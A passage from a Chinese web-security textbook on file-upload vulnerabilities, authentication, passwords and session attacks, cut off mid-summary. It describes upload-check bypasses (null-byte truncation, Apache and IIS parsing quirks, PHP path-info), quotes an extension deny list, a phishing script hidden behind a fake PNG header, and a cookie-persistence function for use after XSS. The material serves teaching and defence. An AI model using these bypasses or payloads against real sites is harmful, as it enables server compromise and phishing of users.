小结注入攻击是应用违背了“数据与代码分离原则”导致的结果。它有两个条件：一是用户能够控制数据的输入；二是代码拼凑了用户输入的数据，把数据当做代码执行了。在对抗注入攻击时，只需要牢记“数据与代码分离原则”，在“拼凑”发生的地方进行安全检查，就能避免此类问题。SQL注入是Web安全中的一个重要领域，本章分析了很多SQL注入的技巧与防御方案。除了SQL注入外，本章还介绍了一些其他的常见注入攻击。理论上，通过设计和实施合理的安全解决方案，注入攻击是可以彻底杜绝的。\n第8章 文件上传漏洞文件上传是互联网应用中的一个常见功能，它是如何成为漏洞的？在什么条件下会成为漏洞？本章将揭开答案。\n8.1 文件上传漏洞概述文件上传漏洞是指用户上传了一个可执行的脚本文件，并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的，有时候几乎没有什么技术门槛。在互联网中，我们经常用到文件上传功能，比如上传一张自定义的图片；分享一段视频或者照片；论坛发帖时附带一个附件；在发送邮件时附带附件，等等。文件上传功能本身是一个正常业务需求，对于网站来说，很多时候也确实需要用户将文件上传到服务器。所以“文件上传”本身没有问题，但有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。文件上传后导致的常见安全问题一般有： 上传文件是Web脚本语言，服务器的Web容器解释并执行了用户上传的脚本，导致代码执行；上传文件是Flash的策略文件crossdo-main.xml，黑客用以控制Flash在该域下的行为（其他通过类似方式控制策略文件的情况类似）；上传文件是病毒、木马文件，黑客用以诱骗用户或者管理员下载执行；上传文件是钓鱼图片或为包含了脚本的图片，在某些版本的浏览器中会被作为脚本执行，被用于钓鱼和欺诈。除此之外，还有一些不常见的利用方法，比如将上传文件作为一个入口，溢出服务器的后台处理程序，如图片解析模块；或者上传一个合法的文本文件，其内容包含了PHP脚本，再通过“本地文件包含漏洞（Local File Include）”执行此脚本；等等。此类问题不在此细述。在大多数情况下，文件上传漏洞一般都是指“上传Web脚本能够被服务器解析”的问题，也就是通常所说的webshell的问题。要完成这个攻击，要满足如下几个条件：首先，上传的文件能够被Web容器解释执行。所以文件上传后所在的目录要是Web容器所覆盖到的路径。其次，用户能够从Web上访问这个文件。如果文件上传了，但用户无法通过Web访问，或者无法使得Web容器解释这个脚本，那么也不能称之为漏洞。最后，用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容，则也可能导致攻击不成功。8.1.1 从FCKEditor文件上传漏洞谈起下面看一个文件上传漏洞的案例。FCKEditor是一款非常流行的富文本编辑器，为了方便用户，它带有一个上传文件功能，但是这个功能却出过许多次漏洞。FCKEditor针对ASP/PHP/JSP等环境都有对应的版本，以PHP为例，其文件上传功能在：http://www.xxx.com/path/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/php/connector.phpFCKEditor的文件上传界面用户打开这个页面，就可以使用此功能将任意文件上传到服务器。文件上传后，会保存在/User-Files/all/目录下。在存在漏洞的版本中，是通过检查文件的后缀来确定是否安全的。代码如下：$Config['AllowedExtensions']['File'] = array() ; //允许上传的类型$Config['DeniedExtensions']['File'] =array('php','php3','php5','phtml','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','dll','reg','cgi') ;//禁止上传的类型这段代码是以黑名单的方式限制上传文件的类型。黑名单与白名单的问题，我们在第1章中就有过论述，黑名单是一种非常不好的设计思想。以这个黑名单为例，如果我们上传后缀为php2、php4、inc、pwml、asa、cer等的文件，都可能导致发生安全问题。由于FCKEditor一般是作为第三方应用集成到网站中的，因此文件上传的目录一般默认都会被Web容器所解析，很容易形成文件上传漏洞。很多开发者在使用FCKEditor时，可能都不知道它存在一个文件上传功能，如果不是特别需要，建议删除FCKEditor的文件上传代码，一般情况下也用不到它。8.1.2 绕过文件上传检查功能在针对上传文件的检查中，很多应用都是通过判断文件名后缀的方法来验证文件的安全性的。但是在某些时候，如果攻击者手动修改了上传过程的POST包，在文件名后添加一个%00字节，则可以截断某些函数对文件名的判断。因为在许多语言的函数中，比如在C、PHP等语言的常用字符串处理函数中，0x00被认为是终止符。受此影响的环境有Web应用和一些服务器。比如应用原本只允许上传JPG图片，那么可以构造文件名（需要修改POST包）为xxx.php[\\0].JPG，其中[\\0]为十六进制的0x00字符，.JPG绕过了应用的上传文件类型判断；但对于服务器端来说，此文件因为0字节截断的关系，最终却会变成xxx.php。%00字符截断的问题不只在上传文件漏洞中有所利用，因为这是一个被广泛用于字符串处理函数的保留字符，因此在各种不同的业务逻辑中都可能出现问题，需要引起重视。除了常见的检查文件名后缀的方法外，有的应用，还会通过判断上传文件的文件头来验证文件的类型。比如一个JPG文件，其文件头是：JPG文件的文件头在正常情况下，通过判断前10个字节，基本上就能判断出一个文件的真实类型。浏览器的MIME Sniff功能实际上也是通过读取文件的前256个字节，来判断文件的类型的。因此，为了绕过应用中类似MIME Sniff的功能，常见的攻击技巧是伪造一个合法的文件头，而将真实的PHP等脚本代码附在合法的文件头之后，比如：隐藏在JPG文件中的PHP代码但此时，仍需要通过PHP来解释此图片文件才行。如下情况，因为Web Server将此文件名当做PHP文件来解析，因此PHP代码会执行；若上传文件后缀是.JPG，则Web Server很有可能会将此文件当做静态文件解析，而不会调用PHP解释器，攻击的条件无法满足。phpinfo()页面在某些特定环境下，这个伪造文件头的技巧可以收到奇效。\n8.2 功能还是漏洞在文件上传漏洞的利用过程中，攻击者发现一些和Web Server本身特性相关的功能，如果加以利用，就会变成威力巨大的武器。这往往是因为应用的开发者没有深入理解Web Server的细节所导致的。8.2.1 Apache文件解析问题比如在Apache 1.x、2.x中，对文件名的解析就存在以下特性。Apache对于文件名的解析是从后往前解析的，直到遇见一个Apache认识的文件类型为止。比如：Phpshell.php.rar.rar.rar.rar.rar因为Apache不认识.rar这个文件类型，所以会一直遍历后缀到.php，然后认为这是一个PHP类型的文件。那么Apache怎么知道哪些文件是它所认识的呢？这些文件类型定义在Apache的mime.types文件中。Apache httpd server的mime.types文件Apache的这个特性，很多工程师在写应用时并不知道，即便知道，可能有的工程师也会认为这是Web Server该负责的事情。如果不考虑这些因素，写出的安全检查功能可能就会存在缺陷。比如.rar是一个合法的上传需求，在应用里只判断文件的后缀是否是.rar，最终用户上传的是php-shell.php.rar.rar.rar，从而导致脚本被执行。如果要指定一个后缀作为PHP文件解析，在Apache的官方文档里是这样描述的：Tell Apache to parse certain extensions as PHP. For example, let's haveApache parse .php files as PHP. Instead of only using the Apache AddTypedirective, we want to avoid potentially dangerous uploads and createdfiles such as exploit.php.jpg from being executed as PHP. Using thisexample, you could have any extension(s) parse as PHP by simply addingthem. We'll add .phtml to demonstrate. <FilesMatch \\.php$> SetHandler application/x-httpd-php </FilesMatch>8.2.2 IIS文件解析问题IIS 6在处理文件解析时，也出过一些漏洞。前面提到的0x00字符截断文件名，在IIS和Win-dows环境下曾经出过非常类似的漏洞，不过截断字符变成了分号“;”。当文件名为abc.asp;xx.jpg时，IIS 6会将此文件解析为abc.asp，文件名被截断了，从而导致脚本被执行。比如：http://www.target.com/path/xyz.asp;abc.jpg会执行xyz.asp，而不会管abc.jpg除此漏洞外，在IIS 6中还曾经出过一个漏洞——因为处理文件夹扩展名出错，导致将/*.asp/目录下的所有文件都作为ASP文件进行解析。比如：http://www.target.com/path/xyz.asp/abc.jpg这个abc.jpg，会被当做ASP文件进行解析。注意这两个IIS的漏洞，是需要在服务器的本地硬盘上确实存在这样的文件或者文件夹，若只是通过Web应用映射出来的URL，则是无法触发的。这些历史上存在的漏洞，也许今天还能在互联网中找到不少未修补漏洞的网站。谈到IIS，就不得不谈在IIS中，支持PUT功能所导致的若干上传脚本问题。PUT是在WebDav中定义的一个方法。Web-Dav大大扩展了HTTP协议中GET、POST、HEAD等功能，它所包含的PUT方法，允许用户上传文件到指定的路径下。在许多Web Server中，默认都禁用了此方法，或者对能够上传的文件类型做了严格限制。但在IIS中，如果目录支持写权限，同时开启了WebDav，则会支持PUT方法，再结合MOVE方法，就能够将原本只允许上传文本文件改写为脚本文件，从而执行webshell。MOVE能否执行成功，取决于IIS服务器是否勾选了“脚本资源访问”复选框一般要实施此攻击过程，攻击者应先通过OP-TIONS方法探测服务器支持的HTTP方法类型，如果支持PUT，则使用PUT上传一个指定的文本文件，最后再通过MOVE改写为脚本文件。第一步：通过OPTIONS探测服务器信息。返回：第二步：上传文本文件。返回：成功创建文件。第三步：通过MOVE改名。返回：修改成功。国内的安全研究者zwell曾经写过一个自动化的扫描工具“IIS PUT Scanner”，以帮助检测此类问题。从攻击原理看，PUT方法造成的安全漏洞，都是由于服务器配置不当造成的。WebDav给管理员带来了很多方便，但如果不能了解安全的风险和细节，则等于向黑客敞开了大门。8.2.3 PHP CGI路径解析问题2010年5月，国内的安全组织80sec发布了一个Nginx的漏洞，指出在Nginx配置fastcgi使用PHP时，会存在文件类型解析问题，这将给上传漏洞大开方便之门。后来人们发现早在2010年1月时，在PHP的bug tracker上就有人分别在PHP 5.2.12和PHP5.3.1版本下提交了这一bug。PHP官方对此bug的描述并同时给出了一个第三方补丁。可是PHP官方认为这是PHP的一个产品特性，并未接受此补丁。PHP官方对此bug的回复这个漏洞是怎么一回事呢？其实可以说它与Nginx本身关系不大，Nginx只是作为一个代理把请求转发给fastcgi Server，PHP在后端处理这一切。因此在其他的fastcgi环境下，PHP也存在此问题，只是使用Nginx作为Web Server时，一般使用fastcgi的方式调用脚本解释器，这种使用方式最为常见。这个问题的外在表现是，当访问http://www.xxx.com/path/test.jpg/notexist.php时，会将test.jpg当做PHP进行解析。Notex-ist.php是不存在的文件。注：Nginx的参考配置如下。location ~ \\.php$ {root html;fastcgi_pass 127.0.0.1:9000;fastcgi_index index.php;fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;include fastcgi_params;}试想：如果在任何配置为fastcgi的PHP应用里上传一张图片（可能是头像，也可能是论坛里上传的图片等），其图片内容是PHP文件，则将导致代码执行。其他可以上传的合法文件如文本文件、压缩文件等情况类似。出现这个漏洞的原因与“在fastcgi方式下，PHP获取环境变量的方式”有关。PHP的配置文件中有一个关键的选项：cgi.fix_pathinfo，这个选项默认是开启的：cgi.fix_pathinfo = 1在官方文档中对这个配置的说明如下：; cgi.fix_pathinfo provides *real* PATH_INFO/PATH_TRANSLATED support for CGI. PHP's; previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok; what PATH_INFO is. For more information on PATH_INFO, see the cgi specs. Setting; this to 1 will cause PHP CGI to fix it's paths to conform to the spec. A setting; of zero causes PHP to behave as before. Default is 1. You should fix your scripts; to use SCRIPT_FILENAME rather than PATH_TRANSLATED.cgi.fix_pathinfo=1在映射URI时，两个环境变量很重要：一个是PATH_INFO，一个是SCRIPT_FILENAME。在上面的例子中：PATH_INFO = notexist.php这个选项为1时，在映射URI时，将递归查询路径确认文件的合法性。notexist.php是不存在的，所以将往前递归查询路径，此时触发的逻辑是：/* * if the file doesn't exist, try to extract PATH_INFO out * of it by stat'ing back through the '/' * this fixes url's like /info.php/test */if (script_path_translated && (script_path_translated_len = strlen(script_path_translated)) > 0 &&(script_path_translated[script_path_translated_len-1] == '/' ||....//以下省略.这个往前递归的功能原本是想解决/info.php/test这种URL，能够正确地解析到 info.php上。此时SCRIPT_FILENAME需要检查文件是否存在，所以会是/path/test.jpg。而PATH_INFO此时还是notexist.php，在最终执行时，test.jpg会被当做PHP进行解析。PHP官方给出的建议是将cgi.fix_pathinfo 设置为0，但可以预见的是，官方的消极态度在未来仍然会使得许许多多的“不知情者”遭受损失。8.2.4 利用上传文件钓鱼前面讲到Web Server的一些“功能”可能会被攻击者利用，绕过文件上传功能的一些安全检查，这是服务器端的事情。但在实际环境中，很多时候服务器端的应用，还需要为客户端买单。钓鱼网站在传播时，会通过利用XSS、服务器端302跳转等功能，从正常的网站跳转到钓鱼网站。不小心的用户，在一开始，看到的是正常的域名，如下是一个利用服务器端302跳转功能的钓鱼URL：http://member1.taobao.com/member/login.jhtml?redirect_url=http://iten.taobao.avcvtion.com/auction/item_detail.asp?id=1981&a283d5d7c9443d8.jhtml?cm_cat=0但这种钓鱼，仍然会在URL中暴露真实的钓鱼网站地址，细心点的用户可能不会上当。而利用文件上传功能，钓鱼者可以先将包含了HTML的文件（比如一张图片）上传到目标网站，然后通过传播这个文件的URL进行钓鱼，则URL中不会出现钓鱼地址，更具有欺骗性。比如下面这张图片：http://tech.simba.taobao.com/wp-content/uploads/2011/02/item.jpg?1_117它的实际内容是：png<script language=\"javascript\">var c=window.location.tostring();if(c.indexof(\"?\")!=-1){var i=c.split(\"?\")[1];if(i.split(\"_\")[0]==1){location.href='http://208.43.120.4../Images/iteme.asp?id='+i.split(\"_\")[1];}else{location.href='http://208.43.120.4../Images/iteme.asp?id='+i.split(\"_\")[1];}}</script>其中，png是伪造的文件头，用于绕过上传时的文件类型检查；接下来就是一段脚本，如果被执行，将控制浏览器跳向指定的网站，在此是一个钓鱼网站。骗子在传播钓鱼网站时，只需要传播合法图片的URL：http://tech.simba.taobao.com/wp-content/uploads/2011/02/item.jpg?1_117在正常情况下，浏览器是不会将jpg文件当做HTML执行的，但是在低版本的IE中，比如IE 6和IE 7，包括IE 8的兼容模式，浏览器都会“自作聪明”地将此文件当做HTML执行。这个问题在很早以前就被用来制作网页木马，但微软一直认为这是浏览器的特性，直到IE 8中有了增强的MIMESniff，才有所缓解。从网站的角度来说，它似乎是无辜的受害者，但面临具体业务场景时，不得不多多考虑此类问题。关于钓鱼的问题，我们将在后续章节“互联网业务安全”中再深入讨论。\n8.3 设计安全的文件上传功能讲了这么多文件上传方面的问题，那么如何才能设计出安全的、没有缺陷的文件上传功能呢？本章一开始就提到，文件上传功能本身并没错，只是在一些条件下会被攻击者利用，从而成为漏洞。根据攻击的原理，笔者结合实际经验总结了以下几点。 文件上传的目录设置为不可执行只要Web容器无法解析该目录下的文件，即使攻击者上传了脚本文件，服务器本身也不会受到影响，因此此点至关重要。在实际应用中，很多大型网站的上传应用，文件上传后会放到独立的存储上，做静态文件处理，一方面方便使用缓存加速，降低性能损耗；另一方面也杜绝了脚本执行的可能。但是对于一些边边角角的小应用，如果存在文件上传功能，则仍需要多加关注。 判断文件类型在判断文件类型时，可以结合使用MIMEType、后缀检查等方式。在文件类型检查中，强烈推荐白名单的方式，黑名单的方式已经无数次被证明是不可靠的。此外，对于图片的处理，可以使用压缩函数或者resize函数，在处理图片的同时破坏图片中可能包含的HTML代码。 使用随机数改写文件名和文件路径文件上传如果要执行代码，则需要用户能够访问到这个文件。在某些环境中，用户能上传，但不能访问。如果应用使用随机数改写了文件名和路径，将极大地增加攻击的成本。与此同时，像shell.php.rar.rar这种文件，或者是crossdo-main.xml这种文件，都将因为文件名被改写而无法成功实施攻击。 单独设置文件服务器的域名由于浏览器同源策略的关系，一系列客户端攻击将失效，比如上传crossdomain.xml、上传包含JavaScript的XSS利用等问题将得到解决。但能否如此设置，还需要看具体的业务环境。文件上传问题，看似简单，但要实现一个安全的上传功能，殊为不易。如果还要考虑到病毒、木马、色情图片与视频、反动政治文件等与具体业务结合更紧密的问题，则需要做的工作就更多了。不断地发现问题，结合业务需求，才能设计出最合理、最安全的上传功能。\n8.4 小结在本章中，我们介绍了Web安全中的文件上传漏洞。文件上传本来是一个正常的功能，但黑客们利用这个功能就可以跨越信任边界。如果应用缺乏安全检查，或者安全检查的实现存在问题，就极有可能导致严重的后果。文件上传往往与代码执行联系在一起，因此对于所有业务中要用到的上传功能，都应该由安全工程师进行严格的检查。同时文件上传又可能存在诸如钓鱼、木马病毒等危害到最终用户的业务风险问题，使得我们在这一领域需要考虑的问题越来越多。\n第9章 认证与会话管理“认证”是最容易理解的一种安全。如果一个系统缺乏认证手段，明眼人都能看出来这是“不安全”的。最常见的认证方式就是用户名与密码，但认证的手段却远远不止于此。本章将介绍Web中常见的认证手段，以及一些需要注意的安全问题。\n9.1 Who am I?很多时候，人们会把“认证”和“授权”两个概念搞混，甚至有些安全工程师也是如此。实际上“认证”和“授权”是两件事情，认证的英文是Authentication，授权则是Authorization。分清楚这两个概念其实很简单，只需要记住下面这个事实：认证的目的是为了认出用户是谁，而授权的目的是为了决定用户能够做什么。形象地说，假设系统是一间屋子，持有钥匙的人可以开门进入屋子，那么屋子就是通过“锁和钥匙的匹配”来进行认证的，认证的过程就是开锁的过程。钥匙在认证过程中，被称为“凭证”（Creden-tial），开门的过程，在互联网里对应的是登录（Login）。可是开门之后，什么事情能做，什么事情不能做，就是“授权”的管辖范围了。如果进来的是屋子的主人，那么他可以坐在沙发上看电视，也可以进到卧室睡觉，可以做任何他想做的事情，因为他具有屋子的“最高权限”。可如果进来的是客人，那么可能就仅仅被允许坐在沙发上看电视，而不允许其进入卧室了。可以看到，“能否进入卧室”这个权限被授予的前提，是需要识别出来者到底是主人还是客人，所以如何授权是取决于认证的。现在问题来了，持有钥匙的人，真的就是主人吗？如果主人把钥匙弄丢了，或者有人造了把一模一样的钥匙，那也能把门打开，进入到屋子里。这些异常情况，就是因为认证出现了问题，系统的安全直接受到了威胁。认证的手段是多样化的，其目的就是为了能够识别出正确的人。如何才能准确地判断一个人是谁呢？这是一个哲学问题，在被哲学家们搞清楚之前，我们只能够依据人的不同“凭证”来确定一个人的身份。钥匙仅仅是一个很脆弱的凭证，其他诸如指纹、虹膜、人脸、声音等生物特征也能够作为识别一个人的凭证。认证实际上就是一个验证凭证的过程。如果只有一个凭证被用于认证，则称为“单因素认证”；如果有两个或多个凭证被用于认证，则称为“双因素（Two Factors）认证”或“多因素认证”。一般来说，多因素认证的强度要高于单因素认证，但是在用户体验上，多因素认证或多或少都会带来一些不方便的地方。\n9.2 密码的那些事儿密码是最常见的一种认证手段，持有正确密码的人被认为是可信的。长期以来，桌面软件、互联网都普遍以密码作为最基础的认证手段。密码的优点是使用成本低，认证过程实现起来很简单；缺点是密码认证是一种比较弱的安全方案，可能会被猜解，要实现一个足够安全的密码认证方案，也不是一件轻松的事情。“密码强度”是设计密码认证方案时第一个需要考虑的问题。在用户密码强度的选择上，每个网站都有自己的策略。注册页面的密码强度要求一般在用户注册时，网站告知用户其所使用密码的复杂度。注册页面的密码强度要求目前并没有一个标准的密码策略，但是根据OWASP推荐的一些最佳实践，我们可以对密码策略稍作总结。密码长度方面： 普通应用要求长度为6位以上；重要应用要求长度为8位以上，并考虑双因素认证。密码复杂度方面： 密码区分大小写字母；密码为大写字母、小写字母、数字、特殊符号中两种以上的组合；不要有连续性的字符，比如1234abcd，这种字符顺着人的思路，所以很容易猜解；尽量避免出现重复的字符，比如1111。除了OWASP推荐的策略外，还需要注意，不要使用用户的公开数据，或者是与个人隐私相关的数据作为密码。比如不要使用QQ号、身份证号码、昵称、电话号码（含手机号码）、生日、英文名、公司名等作为密码，这些资料往往可以从互联网上获得，并不是那么保密。微博网站Twitter在用户注册的过程中，列出了一份长达300个单词的弱密码列表，如果用户使用的密码被包含在这个列表中，则会提示用户此密码不安全。目前黑客们常用的一种暴力破解手段，不是破解密码，而是选择一些弱口令，比如123456，然后猜解用户名，直到发现一个使用弱口令的账户为止。由于用户名往往是公开的信息，攻击者可以收集一份用户名的字典，使得这种攻击的成本非常低，而效果却比暴力破解密码要好很多。密码的保存也有一些需要注意的地方。一般来说，密码必须以不可逆的加密算法，或者是单向散列函数算法，加密后存储在数据库中。这样做是为了尽最大可能地保证密码的私密性。即使是网站的管理人员，也不能够看到用户的密码。在这种情况下，黑客即使入侵了网站，导出了数据库中的数据，也无法获取到密码的明文。2011年12月，国内最大的开发者社区CSDN的数据库被黑客公布在网上。令人震惊的是，CSDN将用户的密码明文保存在数据库中，致使600万用户的密码被泄露。明文保存密码的后果很严重，黑客们曾经利用这些用户名与密码，尝试登录了包括QQ、人人网、新浪微博、支付宝等在内的很多大型网站，致使数以万计的用户处于风险中。一个提供彩虹表查询的MD5破解网站为了避免密码哈希值泄露后，黑客能够直接通过彩虹表查询出密码明文，在计算密码明文的哈希值时，增加一个“Salt”。“Salt”是一个字符串，它的作用是为了增加明文的复杂度，并能使得彩虹表一类的攻击失效。Salt的使用如下：MD5(Username+Password+Salt)其中，Salt = abcddcba……（随机字符串）。Salt应该保存在服务器端的配置文件中，并妥善保管。\n9.3 多因素认证对于很多重要的系统来说，如果只有密码作为唯一的认证手段，从安全上看会略显不足。因此为了增强安全性，大多数网上银行和网上支付平台都会采用双因素认证或多因素认证。比如中国最大的在线支付平台支付宝，就提供很多种不同的认证手段：支付宝提供的多种认证方式除了支付密码外，手机动态口令、数字证书、宝令、支付盾、第三方证书等都可用于用户认证。这些不同的认证手段可以互相结合，使得认证的过程更加安全。密码不再是唯一的认证手段，在用户密码丢失的情况下，也有可能有效地保护用户账户的安全。多因素认证提高了攻击的门槛。比如一个支付交易使用了密码与数字证书双因素认证，成功完成该交易必须满足两个条件：一是密码正确；二是进行支付的电脑必须安装了该用户的数字证书。因此，为了成功实施攻击，黑客们除了盗取用户密码外，还不得不想办法在用户电脑上完成支付，这样就大大提高了攻击的成本。\n9.4 Session与认证密码与证书等认证手段，一般仅仅用于登录（Login）的过程。当登录完成后，用户访问网站的页面，不可能每次浏览器请求页面时都再使用密码认证一次。因此，当认证成功后，就需要替换一个对用户透明的凭证。这个凭证，就是SessionID。当用户登录完成后，在服务器端就会创建一个新的会话（Session），会话中会保存用户的状态和相关信息。服务器端维护所有在线用户的Session，此时的认证，只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使用哪一个Ses-sion，浏览器需要把当前用户持有的SessionID告知服务器。最常见的做法就是把SessionID加密后保存在Cookie中，因为Cookie会随着HTTP请求头发送，且受到浏览器同源策略的保护（参见“浏览器安全”一章）。Cookie中保存的SessionIDSessionID一旦在生命周期内被窃取，就等同于账户失窃。同时由于SessionID是用户登录之后才持有的认证凭证，因此黑客不需要再攻击登录过程（比如密码），在设计安全方案时需要意识到这一点。Session劫持就是一种通过窃取用户Ses-sionID后，使用该SessionID登录进目标账户的攻击方法，此时攻击者实际上是使用了目标账户的有效Session。如果SessionID是保存在Cookie中的，则这种攻击可以称为Cookie劫持。Cookie泄露的途径有很多，最常见的有XSS攻击、网络Sniff，以及本地木马窃取。对于通过XSS漏洞窃取Cookie的攻击，通过给Cookie标记httponly，可以有效地缓解XSS窃取Cookie的问题。但是其他的泄露途径，比如网络被嗅探，或者Cookie文件被窃取，则会涉及客户端的环境安全，需要从客户端着手解决。SessionID除了可以保存在Cookie中外，还可以保存在URL中，作为请求的一个参数。但是这种方式的安全性难以经受考验。在手机操作系统中，由于很多手机浏览器暂不支持Cookie，所以只能将SessionID作为URL的一个参数用于认证。安全研究者kxlzx曾经在博客上列出过一些无线WAP中因为sid泄露所导致的安全漏洞。其中一个典型的场景就是通过Ref-erer泄露URL中的sid，QQ的WAP邮箱曾经出过此漏洞，测试过程如下。首先，发送到QQ邮箱的邮件中引用了一张外部网站的图片：然后，当手机用户用手机浏览器打开QQ邮箱时：在手机中浏览QQ邮箱手机浏览器在解析图片时，实际上是发起了一次GET请求，这个请求会带上Referer。Referer的值为：可以看到sid就包含在Referer中，在www.inbreak.net的服务器日志中可以查看到此值，QQ邮箱的sid由此泄露了。在sid的生命周期内，访问包含此sid的链接，就可以登录到该用户的邮箱中。在生成SessionID时，需要保证足够的随机性，比如采用足够强的伪随机数生成算法。现在的网站开发中，都有很多成熟的开发框架可以使用。这些成熟的开发框架一般都会提供Cookie管理、Session管理的函数，可以善用这些函数和功能。\n9.5 Session Fixation攻击什么是Session Fixation呢？举一个形象的例子，假设A有一辆汽车，A把汽车卖给了B，但是A并没有把所有的车钥匙交给B，还自己藏下了一把。这时候如果B没有给车换锁的话，A仍然是可以用藏下的钥匙使用汽车的。这个没有换“锁”而导致的安全问题，就是SessionFixation问题。在用户登录网站的过程中，如果登录前后用户的SessionID没有发生变化，则会存在Session Fix-ation问题。具体攻击的过程是，用户X（攻击者）先获取到一个未经认证的SessionID，然后将这个Ses-sionID交给用户Y去认证，Y完成认证后，服务器并未更新此SessionID的值（注意是未改变Ses-sionID，而不是未改变Session），所以X可以直接凭借此SessionID登录进Y的账户。X如何才能让Y使用这个SessionID呢？如果SessionID保存在Cookie中，比较难做到这一点。但若是SessionID保存在URL中，则X只需要诱使Y打开这个URL即可。在上一节中提到的sid，就需要认真考虑Session Fixation攻击。在discuz 7.2的WAP版本中，就存在这样的一个Session Fixation攻击。认证前的URL是http://bbs.xxxx.com/wap/index.php?action=forum&fid=72&sid=2iu2pf其中，sid是用于认证的SessionID。用户登录后，这个sid没有发生改变，因此黑客可以先构造好此URL，并诱使其他用户打开，当用户登录完成后，黑客也可以直接通过此URL进入用户账户。解决Session Fixation的正确做法是，在登录完成后，重写SessionID。如果使用sid则需要重置sid的值；如果使用Cookie，则需要增加或改变用于认证的Cookie值。值得庆幸的是，在今天使用Cookie才是互联网的主流，sid的方式渐渐被淘汰。而由于网站想保存到Cookie中的东西变得越来越多，因此用户登录后，网站将一些数据保存到关键的Cookie中，已经成为一种比较普遍的做法。Session Fixation攻击的用武之地也就变得越来越小了。\n9.6 Session保持攻击一般来说，Session是有生命周期的，当用户长时间未活动后，或者用户点击退出后，服务器将销毁Session。Session如果一直未能失效，会导致什么问题呢？前面的章节提到Session劫持攻击，是攻击者窃取了用户的SessionID，从而能够登录进用户的账户。但如果攻击者能一直持有一个有效的Ses-sion（比如间隔性地刷新页面，以告诉服务器这个用户仍然在活动），而服务器对于活动的Session也一直不销毁的话，攻击者就能通过此有效Session一直使用用户的账户，成为一个永久的“后门”。但是Cookie有失效时间，Session也可能会过期，攻击者能永久地持有这个Session吗？一般的应用都会给session设置一个失效时间，当到达失效时间后，Session将被销毁。但有一些系统，出于用户体验的考虑，只要这个用户还“活着”，就不会让这个用户的Session失效。从而攻击者可以通过不停地发起访问请求，让Session一直“活”下去。安全研究者kxlzx曾经分享过这样的一个案例，使用以下代码保持Session：其原理就是不停地刷新页面，以保持Session不过期：测试环境而Cookie是可以完全由客户端控制的，通过发送带有自定义Cookie头的HTTP包，也能实现同样的效果。安全研究者cnqing曾经开发过一个叫“Ses-sionIE”的工具，其中就实现了Session状态的保持：SessionIE工具的界面想使得Cookie不失效，还有更简单的方法。在Web开发中，网站访问量如果比较大，维护Session可能会给网站带来巨大的负担。因此，有一种做法，就是服务器端不维护Session，而把Ses-sion放在Cookie中加密保存。当浏览器访问网站时，会自动带上Cookie，服务器端只需要解密Cookie即可得到当前用户的Session了。这样的Session如何使其过期呢？很多应用都是利用Cookie的Expire标签来控制Session的失效时间，这就给了攻击者可乘之机。Cookie的Expire时间是完全可以由客户端控制的。篡改这个时间，并使之永久有效，就有可能获得一个永久有效的Session，而服务器端是完全无法察觉的。以下代码由JavaScript实现，在XSS攻击后将Cookie设置为永不过期。// 让一个Cookie不过期anehta.dom.persistCookie = function(cookieName){ if (anehta.dom.checkCookie(cookieName) == false){ return false; } try{ document.cookie = cookieName + \"=\" + anehta.dom.getCookie(cookieName) + \";\" + \"expires=Thu, 01-Jan-2038 00:00:01 GMT;\"; } catch (e){ return false; } return true;}攻击者甚至可以为Session Cookie增加一个Expire时间，使得原本浏览器关闭就会失效的Cookie持久化地保存在本地，变成一个第三方Cookie（third-party cookie）。如何对抗这种Session保持攻击呢？常见的做法是在一定时间后，强制销毁Ses-sion。这个时间可以是从用户登录的时间算起，设定一个阈值，比如3天后就强制Session过期。但强制销毁Session可能会影响到一些正常的用户，还可以选择的方法是当用户客户端发生变化时，要求用户重新登录。比如用户的IP、UserA-gent等信息发生了变化，就可以强制销毁当前的Session，并要求用户重新登录。最后，还需要考虑的是同一用户可以同时拥有几个有效Session。若每个用户只允许拥有一个Session，则攻击者想要一直保持一个Session也是不太可能的。当用户再次登录时，攻击者所保持的Session将被“踢出”。\n9.7 单点登录（SSO）单点登录的英文全称是Single Sign On，简称SSO。它希望用户只需要登录一次，就可以访问所有的系统。从用户体验的角度看，SSO无疑让用户的使用更加的方便；从安全的角度看，SSO把风险集中在单点上，这样做是有利有弊的。SSO的优点在于风险集中化，就只需要保护好这一个点。如果让每个系统各自实现登录功能，由于各系统的产品需求、应用环境、开发工程师的水平都存在差异，登录功能的安全标准难以统一。而SSO解决了这个问题，它把用户登录的过程集中在一个地方。在单点处设计安全方案，甚至可以考虑使用一些较“重”的方法，比如双因素认证。此外对于一些中小网站来说，维护一份用户名、密码也是没有太大必要的开销，所以如果能将这个工作委托给一个可以信任的第三方，就可以将精力集中在业务上。SSO的缺点同样也很明显，因为风险集中了，所以单点一旦被攻破的话，后果会非常严重，影响的范围将涉及所有使用单点登录的系统。降低这种风险的办法是在一些敏感的系统里，再单独实现一些额外的认证机制。比如网上支付平台，在付款前要求用户再输入一次密码，或者通过手机短信验证用户身份等。目前互联网上最为开放和流行的单点登录系统是OpenID。OpenID是一个开放的单点登录框架，它希望使用URI作为用户在互联网上的身份标识，每个用户（End User）将拥有一个唯一的URI。在用户登录网站（Relying Party）时，用户只需要提交他的OpenID（就是用户唯一的URI）以及OpenID的提供者（OpenID Provider），网站就会将用户重定向到OpenID的提供者进行认证，认证完成后再重定向回网站。OpenID的认证流程可以用下图描述。OpenID的认证过程在使用OpenID时，第一步是向网站提供OpenID。第二步，网站重定向到OpenID的提供者进行身份认证，在本例中OpenID的提供者是 my-openid.com。第三步，用户将在OpenID的提供者网站登录，并重定向回网站。OpenID模式仍然存在一些问题。OpenID的提供者服务水平也有高有低，作为OpenID的提供者，一旦网站中断服务或者关闭，都将给用户带来很大的不便。因此目前大部分网站仍然是很谨慎地使用OpenID，而仅仅是将其作为一种辅助或者可选的登录模式，这也限制了OpenID的发展。\n9.8 小结本章介绍了认证相关的安全问题。认证解决的是“Who Am 